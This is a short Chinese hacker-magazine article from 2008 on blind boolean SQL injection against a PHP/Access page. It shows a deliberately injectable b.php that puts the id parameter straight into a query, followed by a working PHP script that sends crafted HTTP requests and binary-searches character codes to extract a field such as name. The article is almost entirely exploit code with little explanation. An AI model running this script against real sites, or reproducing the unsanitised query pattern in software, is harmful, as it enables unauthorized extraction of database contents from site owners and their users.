黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


黑客文章 - 数据库注入 - 浏览 - PHP二分法注射猜解
PHP二分法注射猜解
http://www.hacker.com.cn/ 2008-10-9 11:47:10 黑客防线
PHP二分法注射猜解
b.php

<?php
$conn = new com("ADODB.Connection");
$connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("data.mdb");

$conn->Open($connstr);
$rs = new com("ADODB.RecordSet");
$sql="select * from news where id=".$_GET[id];
$rs->Open($sql,$conn,1,1);
if(! $rs->eof) {
echo "{ok}";
} else{
echo "{no}";
}
?>
存在注射的。但是没有输出结果,只是判断是否存在。

<?php

error_reporting(7);
ini_set('max_execution_time', 0);

function send(){
global $host,$cmd;
//$cmd .= "";
$message = "GET /b.php?id=".$cmd." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "Host: $host\r\n";
$message .= "Connection: Close\r\n\r\n";

$fp = fsockopen($host, 80);
fputs($fp, $message);

$resp = '';

while ($fp && !feof($fp))
$resp .= fread($fp, 1024);
preg_match('/\{ok\}/', $resp, $pre);
if ($pre) return true;
}

function Binsearch($sql){
global $cmd;
$low="32";
$high="128";
while($low<=$high){
$mid=intval(($low+$high)/2);
$cmd= $sql."=".$mid;
echo "$mid";
if(send()){echo "Lucky\r\n";return $mid;}
$cmd= $sql."<".$mid;
if(send()){
$high=$mid-1;
echo "Bigger\r\n";
}else{
$low=$mid+1;
echo "Smaller\r\n";
}
}
return(-1);
}

$host="127.0.0.1:8080";
$sql="15%20and%20asc(left(name,1))";
echo Binsearch($sql);
?>
所属分类: 数据库注入   所属专题:
共有 216 人次浏览 收藏本页 返回上一页
评论作者:
电子邮件:
评论内容:
投票评价:
验 证 码:
图片包含4个随机字符,点击刷新
请输入上面图片中的随机字符